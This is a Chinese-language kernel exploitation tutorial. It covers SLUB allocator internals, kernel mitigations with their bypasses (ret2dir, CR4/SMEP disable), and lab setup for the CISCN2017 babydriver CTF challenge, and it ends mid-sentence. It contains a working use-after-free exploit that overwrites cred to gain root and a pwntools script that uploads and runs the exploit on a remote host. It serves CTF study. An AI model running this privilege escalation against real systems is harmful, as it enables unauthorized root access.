#ifdef CONFIG_SLUB_DEBUG
	if (flags & SLAB_RED_ZONE) {
		/*
		 * Add some empty padding so that we can catch
		 * overwrites from earlier objects rather than let
		 * tracking information or the free pointer be
		 * corrupted if a user writes before the start
		 * of the object.
		 */
		size += sizeof(void *);

		s->red_left_pad = sizeof(void *);
		s->red_left_pad = ALIGN(s->red_left_pad, s->align);
		size += s->red_left_pad;
	}
#endif

	/*
	 * SLUB stores one object immediately after another beginning from
	 * offset 0. In order to align the objects we have to simply size
	 * each object to conform to the alignment.
	 */
	size = ALIGN(size, s->align);
	s->size = size;
	if (forced_order >= 0)
		order = forced_order;
	else
		order = calculate_order(size);

	if ((int)order < 0)
		return 0;

	s->allocflags = 0;
	if (order)
		s->allocflags |= __GFP_COMP;

	if (s->flags & SLAB_CACHE_DMA)
		s->allocflags |= GFP_DMA;

	if (s->flags & SLAB_RECLAIM_ACCOUNT)
		s->allocflags |= __GFP_RECLAIMABLE;

	/*
	 * Determine the number of objects per slab
	 */
	s->oo = oo_make(order, size);
	s->min = oo_make(get_order(size), size);
	if (oo_objects(s->oo) > oo_objects(s->max))
		s->max = s->oo;

	return !!oo_objects(s->oo);
}

static int kmem_cache_open(struct kmem_cache *s, slab_flags_t flags)
{
	s->flags = kmem_cache_flags(s->size, flags, s->name, s->ctor);
#ifdef CONFIG_SLAB_FREELIST_HARDENED
	s->random = get_random_long();
#endif

	if (!calculate_sizes(s, -1))
		goto error;
	if (disable_higher_order_debug) {
		/*
		 * Disable debugging flags that store metadata if the min slab
		 * order increased.
		 */
		if (get_order(s->size) > get_order(s->object_size)) {
			s->flags &= ~DEBUG_METADATA_FLAGS;
			s->offset = 0;
			if (!calculate_sizes(s, -1))
				goto error;
		}
	}

#if defined(CONFIG_HAVE_CMPXCHG_DOUBLE) && \
    defined(CONFIG_HAVE_ALIGNED_STRUCT_PAGE)
	if (system_has_cmpxchg_double() && (s->flags & SLAB_NO_CMPXCHG) == 0)
		/* Enable fast mode */
		s->flags |= __CMPXCHG_DOUBLE;
#endif

	/*
	 * The larger the object size is, the more pages we want on the partial
	 * list to avoid pounding the page allocator excessively.
	 */
	set_min_partial(s, ilog2(s->size) / 2);

	set_cpu_partial(s);

#ifdef CONFIG_NUMA
	s->remote_node_defrag_ratio = 1000;
#endif

	/* Initialize the pre-computed randomized freelist if slab is up */
	if (slab_state >= UP) {
		if (init_cache_random_seq(s))
			goto error;
	}

	if (!init_kmem_cache_nodes(s))
		goto error;

	if (alloc_kmem_cache_cpus(s))
		return 0;

	free_kmem_cache_nodes(s);
error:
	if (flags & SLAB_PANIC)
		panic("Cannot create slab %s size=%u realsize=%u order=%u offset=%u flags=%lx\n",
		      s->name, s->size, s->size,
		      oo_order(s->oo), s->offset, (unsigned long)flags);
	return -EINVAL;
}
slub 分配

2.png

  • kmem_cache 刚刚建立,还没有任何对象可供分配,此时只能从伙伴系统分配一个 slab ,如下图所示。3.png

  • 如果正在使用的 slab 有 free obj,那么就直接分配即可,这种是最简单快捷的。如下图所示。4.png

  • 随着正在使用的 slab 中 obj 的一个个分配出去,最终会无 obj 可分配,此时 per cpu partial 链表中有可用 slab 用于分配,那么就会从 per cpu partial 链表中取下一个 slab 用于分配 obj。如下图所示。
    5.png

  • 随着正在使用的 slab 中 obj 的一个个分配出去,最终会无 obj 可分配,此时 per cpu partial 链表也为空,此时发现 per node partial 链表中有可用 slab 用于分配,那么就会从 per node partial 链表中取下一个 slab 用于分配 obj。如下图所示。6.png

slub 释放

7.png

  • 假设下图左边的情况下释放 obj,如果满足 kmem_cache_node 的 nr_partial 大于 kmem_cache 的 min_partial 的话,释放情况如下图所示。
    8.png
  • 假设下图左边的情况下释放 obj,如果不满足 kmem_cache_node 的 nr_partial 大于 kmem_cache 的 min_partial 的话,释放情况如下图所示。
    9.png
  • 假设下图从 full slab 释放 obj 的话,如果满足 per cpu partial 管理的所有 slab 的 free object 数量大于 kmem_cache 的 cpu_partial 成员的话的话,将 per cpu partial 链表管理的所有 slab 移动到 per node partial 链表管理,释放情况如下图所示。
    10.png
  • 假设下图从 full slab 释放 obj 的话,如果不满足 per cpu partial 管理的所有 slab 的 free object 数量大于 kmem_cache 的 cpu_partial 成员的话的话,释放情况如下图所示。
    11.png
内核堆利用与绑核

slub allocator 会优先从当前核心的 kmem_cache_cpu 中进行内存分配,在多核架构下存在多个 kmem_cache_cpu ,由于进程调度算法会保持核心间的负载均衡,因此我们的 exp 进程可能会被在不同的核心上运行,这也就导致了利用过程中 kernel object 的分配有可能会来自不同的 kmem_cache_cpu ,这使得利用模型变得复杂,也降低了漏洞利用的成功率。

因此为了保证漏洞利用的稳定,我们需要将我们的进程绑定到特定的某个 CPU 核心上,这样 slub allocator 的模型对我们而言便简化成了 kmem_cache_node + kmem_cache_cpu ,我们也能更加方便地进行漏洞利用

#define _GNU_SOURCE
#include <sched.h>

int randint(int min, int max) {
    return min + (rand() % (max - min));
}

void bind_core(bool fixed, bool thread) {
    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);
    if (thread) {
        pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);
    } else {
        sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    }
}
通用 kmalloc flag

GFP_KERNELGFP_KERNEL_ACCOUNT 是内核中最为常见与通用的分配 flag,常规情况下他们的分配都来自同一个 kmem_cache ——即通用的 kmalloc-xx

这两种 flag 的区别主要在于 GFP_KERNEL_ACCOUNTGFP_KERNEL 多了一个属性——表示该对象与来自用户空间的数据相关联,因此我们可以看到诸如 msg_msgpipe_buffersk_buff的数据包 的分配使用的都是 GFP_KERNEL_ACCOUNT ,而 ldt_structpacket_socket 等与用户空间数据没有直接关联的结构体则使用 GFP_KERNEL

在5.9 版本之前GFP_KERNELGFP_KERNEL_ACCOUNT 存在隔离机制,在 这个 commit 中取消了隔离机制,自内核版本 5.14 起,在 这个 commit 当中又重新引入:

  • 对于开启了 CONFIG_MEMCG_KMEM 编译选项的 kernel 而言(通常都是默认开启),其会为使用 GFP_KERNEL_ACCOUNT 进行分配的通用对象创建一组独立的 kmem_cache ——名为 kmalloc-cg-\* ,从而导致使用这两种 flag 的 object 之间的隔离:
slab alias

slab alias 机制是一种对同等/相近大小 object 的 kmem_cache 进行复用的一种机制:当一个 kmem_cache 在创建时,若已经存在能分配相等/近似大小的 object 的 kmem_cache ,则不会创建新的 kmem_cache,而是为原有的 kmem_cache 起一个 alias,作为“新的” kmem_cache 返回

例如 cred_jar 是专门用以分配 cred 结构体的 kmem_cache,在 Linux 4.4 之前的版本中,其为 kmalloc-192 的 alias,即 cred 结构体与其他的 192 大小的 object 都会从同一个 kmem_cache——kmalloc-192 中分配。

对于初始化时设置了 SLAB_ACCOUNT 这一 flag 的 kmem_cache 而言,则会新建一个新的 kmem_cache 而非为原有的建立 alias,例如在新版的内核当中 cred_jarkmalloc-192 便是两个独立的 kmem_cache彼此之间互不干扰

/* Account to memcg */
#ifdef CONFIG_MEMCG_KMEM
# define SLAB_ACCOUNT		((slab_flags_t __force)0x04000000U)
#else
# define SLAB_ACCOUNT		0
#endif

/*
 * initialise the credentials stuff
 */
void __init cred_init(void)
{
	/* allocate a slab in which we can store credentials */
	cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0,
			SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
}

内核保护机制

空间隔离相关

SMEP

管理模式执行保护(Superivisor Mode Access Protection),禁止内核执行用户空间代码。当处理器处于ring 0模式,执行用户空间的代码会触发页错误。Linux下叫做PXN

SMAP

管理模式访问保护(Supervisor Mode Access Prevention),禁止内核访问用户地址空间,类似于smep。当处理器处于ring 0模式,访问用户空间的数据会触发页错误。ARM下叫做PAN(Privileged Access Never)

  • 对于没有SMAP/SMEP的情况下把内核指针重定向到用户空间的利用方式称为ret2usr
  • 上面两种保护的绕过方法:
    1. physmap是内核管理的一块非常大的连续的虚拟地址空间,为了提高效率,该地址空间和内存地址直接映射。内存地址相对physmap要小的多,导致了任何一个内存地址可以在physmap中找到对应的虚拟内存地址。我们知道用户空间的虚拟内存也会映射到内存地址,这就存在了连续虚拟内存地址映射到了同一个内存地址的情况。也就是说,我们在用户空间里创建的数据,代码就很有可能映射到physmap空间。那么在用户空间用mmap()将提权代码映射到内存,然后再在内核空间里找到其对应的副本,修改IP调到副本执行就可以了。因为physmap本身就在内核空间里,这种漏洞利用方式叫做ret2dir
    2. Intel下系统根据CR4控制寄存器的第20位标识是否开启SMEP保护,若能够通过kernel ROP改变CR4寄存器的值便能够关闭SMEP保护,完成SMEP-bypass,接下来就可以重新ret2usr
  • 关闭SMEP方法:修改/etc/default/grub文件中的GRUB_CMDLINE_LINUX=,加上nosmep/nosmap/nokaslr,然后update-grub就可以。
KPTI

KPTI(Kernel PageTable Isolation),内核页表隔离,进程页表隔离。进程地址空间被分成了内核地址空间和用户地址空间,内核地址都是共享的,用户空间只能单独使用。为了防止用户程序获取内核数据,可以让用户地址空间和内核地址空间使用两组页表集。Windows称为KVA Shadow

由于有KPTI保护,即使关闭了smepsmap,也不能执行用户区间的代码,只能读,原因如下:
不隔离不意味着完全相同,填充内核态页表项时,KPTI 会给页表项加上 _PAGE_NX 标志,以阻止执行内核态页表所映射用户地址空间的代码。在 KAISER patch 里把这一步骤叫 毒化(poison)。

检查方式:查看 /sys/devices/system/cpu/vulnerabilities/*

/ $ cat /sys/devices/system/cpu/vulnerabilities/*
Processor vulnerable
Mitigation: PTE Inversion
Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown
Mitigation: PTI
Vulnerable
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Full generic retpoline, STIBP: disabled, RSB filling
Not affected

注意,KPTI 只是不能执行用户空间代码,不代表不能访问用户空间数据,如果关闭 SMAP 即使开启 KPTI 也是可以访问用户数据的。

在启动脚本中设置 -append "... kpti=1 ..."(或 pti=on)即可开启 KPTI ,另外还需要设置 -cpu kvm64

地址相关

KASLR

内核地址空间布局随机化(Kernel Address Space Layout Randomization),开启后,允许kernel image加载到VMALLOC区域的任何位置。
间在未开启KASLR保护机制时,内核代码段的基址为 0xffffffff81000000 ,direct mapping area 的基址为 0xffff888000000000 。

FG_KASLR

FG-KASLR (Function Granular Kernel Address Space Layout Randomization):细粒度的kaslr,函数级别上的 KASLR 优化。
注意,该保护只是在代码段打乱顺序,在数据段偏移不变,例如 commit_creds 函数的偏移改变但是 init_cred 的偏移不变。

MMAP_MIN_ADDR

内核空间和用户空间共享虚拟内存地址,因此需要防止用户空间 mmap 的内存从 0 开始,从而缓解空指针引用攻击。windows 系统从 win8 开始禁止在零页分配内存。从 linux 内核 2.6.22 开始可以使用 sysctl 设置 mmap_min_addr 来实现这一保护。

信息相关

Dmesg Restrictions

通过设置/proc/sys/kernel/dmesg_restrict为1,可以将dmesg输出的信息视为敏感信息(默认为0)

Kernel Address Display Restriction

内核提供控制变量 /proc/sys/kernel/kptr_restrict 用于控制内核的一些输出打印。

  • kptr_restrict == 2 :内核将符号地址打印为全 0 , root 和普通用户都没有权限.
  • kptr_restrict == 1 : root 用户有权限读取,普通用户没有权限.
  • kptr_restrict == 0 : root 和普通用户都可以读取.
    /proc/kallsyms的内容需要root权限才能查看,如果以非root用户权限查看将显示地址为0

kallsyms 抽取了内核用到的所有函数地址(全局的,静态的)和非栈数据变量地址,生成一个数据块,作为只读数据链接进 kernel image
要在内核中启用 kallsyms 功能,须设置 CONFIG_KALLSYMS 选项为 y ,如果要在 kallsyms 中包含全部符号信息,须设置 CONFIG_KALLSYMS_ALLy
kallsyms 表位于 /proc/kallsymskernel 中的 mod_tree 处存放着各个模块加载的地址.

sudo sysctl -w kernel.kptr_restrict=0
# 设置权限
cat /proc/kallsyms
# 列出所有内核符号
grep mod_tree /proc/kallsyms
# 列出各个模块加载的地址
cat /proc/modules
# 列出系统中已经加载的模块及其地址
grep _text /proc/kallsyms
# vmlinux加载地址

在这里插入图片描述

数据相关

HARDENED_USERCOPY

hardened usercopy 是用以在用户空间与内核空间之间拷贝数据时进行越界检查的一种防护机制,主要检查拷贝过程中对内核空间中数据的读写是否会越界:

读取的数据长度是否超出源 object 范围
写入的数据长度是否超出目的 object 范围
不过这种保护 不适用于内核空间内的数据拷贝 ,这也是目前主流的绕过手段

这一保护被用于在使用 copy_to_user()copy_from_user() 等数据交换 API 时用 __check_object_size 检查是否越界。

#ifdef CONFIG_HARDENED_USERCOPY
/*
 * Rejects incorrectly sized objects and objects that are to be copied
 * to/from userspace but do not fall entirely within the containing slab
 * cache's usercopy region.
 *
 * Returns NULL if check passes, otherwise const char * to name of cache
 * to indicate an error.
 */
void __check_heap_object(const void *ptr, unsigned long n, struct page *page,
			 bool to_user)
{
	struct kmem_cache *s;
	unsigned int offset;
	size_t object_size;

	ptr = kasan_reset_tag(ptr);

	/* Find object and usable object size. */
	s = page->slab_cache;

	/* Reject impossible pointers. */
	if (ptr < page_address(page))
		usercopy_abort("SLUB object not in SLUB page?!", NULL,
			       to_user, 0, n);

	/* Find offset within object. */
	offset = (ptr - page_address(page)) % s->size;

	/* Adjust for redzone and reject if within the redzone. */
	if (kmem_cache_debug(s) && s->flags & SLAB_RED_ZONE) {
		if (offset < s->red_left_pad)
			usercopy_abort("SLUB object in left red zone",
				       s->name, to_user, offset, n);
		offset -= s->red_left_pad;
	}

	/* Allow address range falling entirely within usercopy region. */
	if (offset >= s->useroffset &&
	    offset - s->useroffset <= s->usersize &&
	    n <= s->useroffset - offset + s->usersize)
		return;

	/*
	 * If the copy is still within the allocated object, produce
	 * a warning instead of rejecting the copy. This is intended
	 * to be a temporary method to find any missing usercopy
	 * whitelists.
	 */
	object_size = slab_ksize(s);
	if (usercopy_fallback &&
	    offset <= object_size && n <= object_size - offset) {
		usercopy_warn("SLUB object", s->name, to_user, offset, n);
		return;
	}

	usercopy_abort("SLUB object", s->name, to_user, offset, n);
}
#endif /* CONFIG_HARDENED_USERCOPY */

static inline void check_heap_object(const void *ptr, unsigned long n,
				     bool to_user)
{
	struct page *page;
    ...
	page = virt_to_head_page(ptr);

	if (PageSlab(page)) {
		/* Check slab allocator for flags and size. */
		__check_heap_object(ptr, n, page, to_user);
	}
	...
}

/*
 * Checks if a given pointer and length is contained by the current
 * stack frame (if possible).
 *
 * Returns:
 *	NOT_STACK: not at all on the stack
 *	GOOD_FRAME: fully within a valid stack frame
 *	GOOD_STACK: fully on the stack (when can't do frame-checking)
 *	BAD_STACK: error condition (invalid stack position or bad stack frame)
 */
static noinline int check_stack_object(const void *obj, unsigned long len)
{
	const void * const stack = task_stack_page(current);
	const void * const stackend = stack + THREAD_SIZE;
	int ret;

	/* Object is not on the stack at all. */
	if (obj + len <= stack || stackend <= obj)
		return NOT_STACK;

	/*
	 * Reject: object partially overlaps the stack (passing the
	 * the check above means at least one end is within the stack,
	 * so if this check fails, the other end is outside the stack).
	 */
	if (obj < stack || stackend < obj + len)
		return BAD_STACK;

	/* Check if object is safely within a valid frame. */
	ret = arch_within_stack_frames(stack, stackend, obj, len);
	if (ret)
		return ret;

	return GOOD_STACK;
}

/* Is this address range in the kernel text area? */
static inline void check_kernel_text_object(const unsigned long ptr,
					    unsigned long n, bool to_user)
{
	unsigned long textlow = (unsigned long)_stext;
	unsigned long texthigh = (unsigned long)_etext;
	unsigned long textlow_linear, texthigh_linear;

	if (overlaps(ptr, n, textlow, texthigh))
		usercopy_abort("kernel text", NULL, to_user, ptr - textlow, n);

	/*
	 * Some architectures have virtual memory mappings with a secondary
	 * mapping of the kernel text, i.e. there is more than one virtual
	 * kernel address that points to the kernel image. It is usually
	 * when there is a separate linear physical memory mapping, in that
	 * __pa() is not just the reverse of __va(). This can be detected
	 * and checked:
	 */
	textlow_linear = (unsigned long)lm_alias(textlow);
	/* No different mapping: we're done. */
	if (textlow_linear == textlow)
		return;

	/* Check the secondary mapping... */
	texthigh_linear = (unsigned long)lm_alias(texthigh);
	if (overlaps(ptr, n, textlow_linear, texthigh_linear))
		usercopy_abort("linear kernel text", NULL, to_user,
			       ptr - textlow_linear, n);
}

void __check_object_size(const void *ptr, unsigned long n, bool to_user)
{
    check_bogus_address
    check_stack_object
    ...
	/* Check for bad heap object. */
	check_heap_object(ptr, n, to_user);
    ...
}

/*
 * Validates that the given object is:
 * - not bogus address
 * - fully contained by stack (or stack frame, when available)
 * - fully within SLAB object (or object whitelist area, when available)
 * - not in kernel text
 */
void __check_object_size(const void *ptr, unsigned long n, bool to_user)
{
	if (static_branch_unlikely(&bypass_usercopy_checks))
		return;

	/* Skip all tests if size is zero. */
	if (!n)
		return;

	/* Check for invalid addresses. */
	check_bogus_address((const unsigned long)ptr, n, to_user);

	/* Check for bad stack object. */
	switch (check_stack_object(ptr, n)) {
	case NOT_STACK:
		/* Object is not touching the current process stack. */
		break;
	case GOOD_FRAME:
	case GOOD_STACK:
		/*
		 * Object is either in the correct frame (when it
		 * is possible to check) or just generally on the
		 * process stack (when frame checking not available).
		 */
		return;
	default:
		usercopy_abort("process stack", NULL, to_user, 0, n);
	}

	/* Check for bad heap object. */
	check_heap_object(ptr, n, to_user);

	/* Check for object in kernel to avoid text exposure. */
	check_kernel_text_object((const unsigned long)ptr, n, to_user);
}

#ifdef CONFIG_HARDENED_USERCOPY
extern void __check_object_size(const void *ptr, unsigned long n,
					bool to_user);

static __always_inline void check_object_size(const void *ptr, unsigned long n,
					      bool to_user)
{
	if (!__builtin_constant_p(n))
		__check_object_size(ptr, n, to_user);
}
#else
static inline void check_object_size(const void *ptr, unsigned long n,
				     bool to_user)
{ }
#endif /* CONFIG_HARDENED_USERCOPY */

static __always_inline bool
check_copy_size(const void *addr, size_t bytes, bool is_source)
{
	int sz = __compiletime_object_size(addr);
	if (unlikely(sz >= 0 && sz < bytes)) {
		if (!__builtin_constant_p(bytes))
			copy_overflow(sz, bytes);
		else if (is_source)
			__bad_copy_from();
		else
			__bad_copy_to();
		return false;
	}
	check_object_size(addr, bytes, is_source);
	return true;
}

static __always_inline unsigned long __must_check
copy_to_user(void __user *to, const void *from, unsigned long n)
{
	if (likely(check_copy_size(from, n, true)))
		n = _copy_to_user(to, from, n);
	return n;
}
STATIC_USERMODEHELPER

禁掉了对于 modprobe_pathcore_pattern 的利用(只读区域)

栈相关

STACK PROTECTOR

类似于用户态程序的canary,通常又被称作是 stack cookie,用以检测是否发生内核堆栈溢出,若是发生内核堆栈溢出则会产生 kernel panic
开启: 在编译内核时,我们可以设置 CONFIG_CC_STACKPROTECTOR 选项,来开启该保护。
关闭: 我们需要重新编译内核,并关闭编译选项才可以关闭 Canary 保护。
内核中的canary的值通常取自gs段寄存器某个固定偏移处的值,可以直接绕过。

堆相关

SLAB_FREELIST_HARDENED

CONFIG_SLAB_FREELIST_HARDENED=y 编译选项开启 Hardened freelist 保护。
在这个配置下,kmem_cache 增加了一个变量 random 。在 mm/slub.c 文件, kmem_cache_open 的时候给 random 字段一个随机数。

#ifdef CONFIG_SLAB_FREELIST_HARDENED
	unsigned long random;
#endif

static int kmem_cache_open(struct kmem_cache *s, slab_flags_t flags)
{
	s->flags = kmem_cache_flags(s->size, flags, s->name, s->ctor);
#ifdef CONFIG_SLAB_FREELIST_HARDENED
	s->random = get_random_long();
#endif

set_freepointer 函数中加了一个 BUG_ON 的检查,这里是检查 double free 的,当前 free 的 object 的内存地址和 freelist 指向的第一个 object 的地址不能一样,这和 glibc 类似。

static inline void set_freepointer(struct kmem_cache *s, void *object, void *fp)
{
	unsigned long freeptr_addr = (unsigned long)object + s->offset;

#ifdef CONFIG_SLAB_FREELIST_HARDENED
	BUG_ON(object == fp); /* naive detection of double free or corruption */
#endif

	*(void **)freeptr_addr = freelist_ptr(s, fp, freeptr_addr);
}

接着是 freelist_ptr ,它会返回当前 object 的下一个 free object 的地址, 加上 hardened 之后会和之前初始化的 random 值做异或。

static inline void *freelist_ptr(const struct kmem_cache *s, void *ptr,
				 unsigned long ptr_addr)
{
#ifdef CONFIG_SLAB_FREELIST_HARDENED

	return (void *)((unsigned long)ptr ^ s->random ^
			(unsigned long)kasan_reset_tag((void *)ptr_addr));
#else
	return ptr;
#endif
}
SLAB_FREELIST_RANDOM

CONFIG_SLAB_FREELIST_RANDOM=y 编译选项开启 Random freelist 保护。
这种保护主要发生在 slub allocator 向 buddy system 申请到页框之后的处理过程中,对于未开启这种保护的一张完整的 slub,其上的 object 的连接顺序是线性连续的,但在开启了这种保护之后其上的 object 之间的连接顺序是随机的,这让攻击者无法直接预测下一个分配的 object 的地址

需要注意的是这种保护发生在slub allocator 刚从 buddy system 拿到新 slub 的时候,运行时 freelist 的构成仍遵循 LIFO
image.png

INIT_ON_ALLOC_DEFAULT_ON

当编译内核时开启了这个选项时,在内核进行“堆内存”分配时(包括 buddy system 和 slab allocator),会将被分配的内存上的内容进行清零,从而防止了利用未初始化内存进行数据泄露的情况。

环境搭建

这里以 CISCN2017 - babydriver 为例讲解一下 kernel pwn 环境搭建。

基础概念

将下载好附件解压后发现三个文件:

  • boot.sh:启动脚本
  • bzImage:内核镜像
  • rootfs.cpio:文件系统

启动脚本

#!/bin/bash

qemu-system-x86_64 \
  -initrd rootfs.cpio \
  -kernel bzImage \
  -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
  -enable-kvm \
  -monitor /dev/null -m 64M \
  --nographic \
  -smp cores=1,threads=1 \
  -cpu kvm64,+smep

在用 qemu 启动内核时,常用的选项如下

  • -m, 指定 RAM 大小,默认 384M
  • -kernel,指定内核镜像文件 bzImage 路径
  • -initrd,设置内核启动的内存文件系统
  • -smp [cpus=]n[,cores=cores][,threads=threads][,dies=dies][,sockets=sockets][,maxcpus=maxcpus],指定使用到的核数。
  • -cpu,指定指定要模拟的处理器架构,可以同时开启一些保护,如
    • +smap,开启 smap 保护
    • +smep,开启 smep 保护
  • -nographic,表示不需要图形界面
  • -monitor,对 qemu 提供的控制台进行重定向,如果没有设置的话,可以直接进入控制台。-monitor /dev/nullCtrl + c 可以直接退出 qemu 。
  • -append,附加选项
    • nokaslr 关闭随机偏移
    • pti=on/off 开启/关闭 KPTI
    • console=ttyS0,和 nographic 一起使用,启动的界面就变成了当前终端。

安装 qemu 后运行 boot.sh 即可启动 linux 系统。

内核镜像

  • vmlinux:原始内核文件
    • 在当前目录下提取到 vmlinux ,为编译出来的原始内核文件。
  • bzImage:压缩内核镜像
    • 在当前目录下的 arch/x86/boot/ 目录下提取到 bzImage ,为压缩后的内核文件,适用于大内核。
  • zImage && bzImage
    • zImage 是 vmlinux 经过gzip压缩后的文件。
    • bzImage 中的 bz 表示“big zImage”。bzImage 不是用 bzip2 压缩,而是要偏移到一个位置,使用 gzip 压缩。
    • 两者的不同之处在于,zImage 解压缩内核到低端内存(第一个 640K),bzImage 解压缩内核到高端内存(1M 以上)。如果内核比较小,那么采用 zImage 或 bzImage 都行,如果比较大应该用 bzImage 。

文件系统

启动的文件系统,可以通过 cpio 进行解压(cpio -idmv < rootfs.cpio),不过有的题目可能会把一些其它压缩格式的文件系统后缀改成 cpio (例如这道 babydriver 例题就是??)所以最好直接右键 + Extract Here 解压 在这里插入图片描述
有时右键解压的文件系统会导致内核启动不了,目前用 binwalk -e 解压的是没问题的 。
在这里插入图片描述

rootfs 解压后可以看到在其根目录下有 init 文件,内容如下:

#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f

init 是 linux 启动时的初始化文件,主要做一些环境配置。通过分析 init 文件可以获取一些重要信息,另外可以通过修改 init 文件增加调试分析的便捷性。

  • init 脚本中得知 需要分析的驱动文件的所在路径为 /lib/modules/4.4.72/babydriver.ko ,另外该驱动可能对应设备 /dev/babydev ,具体是否存在这种对应关系还需要分析 babydriver.ko 中是否有注册 babydev 设备的操作。
  • setsid cttyhack setuidgid 1000 sh 这条命令决定以非 root 权限启动命令行,如果想要以 root 权限启动命令行需要将 1000 改为 0 。
  • 有的题目可能存在 poweroff -d 120 -f & 命令用来定时关机,在本地调试的时候最好注释掉。

打包文件系统

本地调试的时候需要多次修改 exp 以及 init ,因此为了方便最好还是选择打包文件系统,而不是上传文件。注意这里的 rootfs 是手动从 rootfs.cpio 中解压出来的。

#!/bin/sh

cp -r rootfs rootfs_tmp

#musl-gcc -static -masm=intel -pthread exp.c -o exp
gcc -static -masm=intel -pthread exp.c -o exp
cp exp rootfs_tmp/

cd rootfs_tmp || exit
find . | cpio -o -H newc >../rootfs.cpio
cd ..

sudo rm -rf rootfs_tmp

其中 exp.c 文件内容如下:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>

int main() {
    // 打开两次设备
    int fd1 = open("/dev/babydev", 2);
    int fd2 = open("/dev/babydev", 2);
    // 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
    ioctl(fd1, 0x10001, 0xa8);
    // 释放 fd1
    close(fd1);
    // 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
    int pid = fork();
    if (pid < 0) {
        puts("[*] fork error!");
        exit(0);
    } else if (pid == 0) {
        // 通过更改 fd2,修改新进程的 cred 的 uid,gid 等值为0
        char zeros[30] = {0};
        write(fd2, zeros, 28);
        if (getuid() == 0) {
            puts("[+] root now.");
            system("/bin/sh");
            exit(0);
        }
    } else {
        wait(NULL);
    }
    close(fd2);
    return 0;
}

如果 gcc 编译的 exp 过大可以考虑使用 musl-gcc 进行编译,不过例如 userfault_fd 的相关功能 musl 没有,并不能完全替代 gcc 。

musl-gcc 的具体安装方式可以参考这篇文章的环境搭建里面的编译脚本,编译完成之后 musl-gcc 就在安装目录下的 bin 目录下,添加环境变量即可使用。

另外题目附件中没有 flag 文件,可以手动在 rootfs 目录下创建一个 flag 文件用于测试。

运行 pack.shboot.sh 可以看到 exp 已经打包到文件系统中,运行 exp 成功提权。
在这里插入图片描述

文件远程传输方式

目前来说比较通用的办法便是将 exploit 进行 base64 编码后传输

from pwn import *
import base64
#context.log_level = "debug"

with open("./exp", "rb") as f:
    exp = base64.b64encode(f.read())

p = remote("127.0.0.1", 11451)
#p = process('./run.sh')
try_count = 1
while True:
    p.sendline()
    p.recvuntil("/ $")

    count = 0
    for i in range(0, len(exp), 0x200):
        p.sendline("echo -n \"" + exp[i:i + 0x200].decode() + "\" >> /tmp/b64_exp")
        count += 1
        log.info("count: " + str(count))

    for i in range(count):
        p.recvuntil("/ $")
    
    p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")
    p.sendline("chmod +x /tmp/exploit")
    p.sendline("/tmp/exploit ")
    break

p.interactive()
from pwn import *
import time, os
#context.log_level = "debug"

p = process('./boot.sh')#remote("127.0.0.1", 5555)

os.system("tar -czvf exp.tar.gz ./exploit")
os.system("base64 exp.tar.gz > b64_exp")

f = open("./b64_exp", "r")

p.sendline()
p.recvuntil("/ $")
p.sendline("echo '' > b64_exp;")

count = 1
while True:
    print('now line: ' + str(count))
    line = f.readline().replace("\n","")
    if len(line)<=0:
        break
    cmd = b"echo '" + line.encode() + b"' >> b64_exp;"
    p.sendline(cmd) # send lines
    #time.sleep(0.02)
    #p.recv()
    p.recvuntil("/ $")
    count += 1
f.close()

p.sendline("base64 -d b64_exp > exp.tar.gz;")
p.sendline("tar -xzvf exp.tar.gz")
p.sendline("chmod +x ./exploit;")
p.sendline("./exploit")
p.interactive()

获取 vmlinux

由于 bzImage 是压缩过的内核镜像,因此需要获取未经压缩的 vmlinux 镜像用于提供调试符号,以及查找 gadget 和关键结构偏移。

下面提供几个获取 vmlinux 的方法。

编译内核

注意,即使题目提供了 config 文件,编译出的 vmlinux 中各结构的偏移也不一定与题目提供的 bzImage 相同。编译出的 vmlinux 只是在计算结构体中成员偏移起参考作用,gadget 等涉及在内核中偏移的还是在 vmlinux-to-elf 解压的 vmlinux 中找。
在这里插入图片描述

编译内核的好处是可以配置编译文件,并且可以编译出带调试符号的文件,gdb 调试的时候可以查看源码。
为了方便调试,需要从这个网站下载与题目所给内核版本相同的内核源码并编译出带调试符号的内核文件。

首先查看题目所给内核版本
在这里插入图片描述
下载对应版本内核并解压
在这里插入图片描述
查看题目所给内核编译时使用的 gcc 版本
在这里插入图片描述
由于编译该内核的所需的 gcc-5 已经无法在 ubuntu 18.04 及以上版本系统中下载安装,因此编译该内核需要再 ubuntu 16.04 中进行。 下面的图中的操作之所以是在高版本 ubuntu 中进行是因为当时是可以的。

输入命令,查看 gcc-5 可选的版本

apt-cache policy gcc-5

找到了与编译题目内核的 gcc 比较接近的版本(这里我已经安装过了)
在这里插入图片描述
安装

sudo apt-get install gcc-5=5.4.0-6ubuntu1~16.04.12

更新到 update-alternatives 上(参考编译 ollvm 时 gcc 版本的设置)

sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-5 5

切换到 gcc-5
在这里插入图片描述
在这里插入图片描述

之后编辑配置文件,在 linux-4.4.72 目录下输入

make menuconfig

保证勾选如下配置(默认都是勾选了的):

  • Kernel hacking —> Kernel debugging
  • Kernel hacking —> Compile-time checks and compiler options —> Compile the kernel with debug info
  • Kernel hacking —> Generic Kernel Debugging Instruments –> KGDB: kernel debugger
  • kernel hacking —> Compile the kernel with frame pointers

一般来说不需要有什么改动,直接保存退出即可。

设置保存在 .config 文件中。
为了防止后面编译报下面这个错

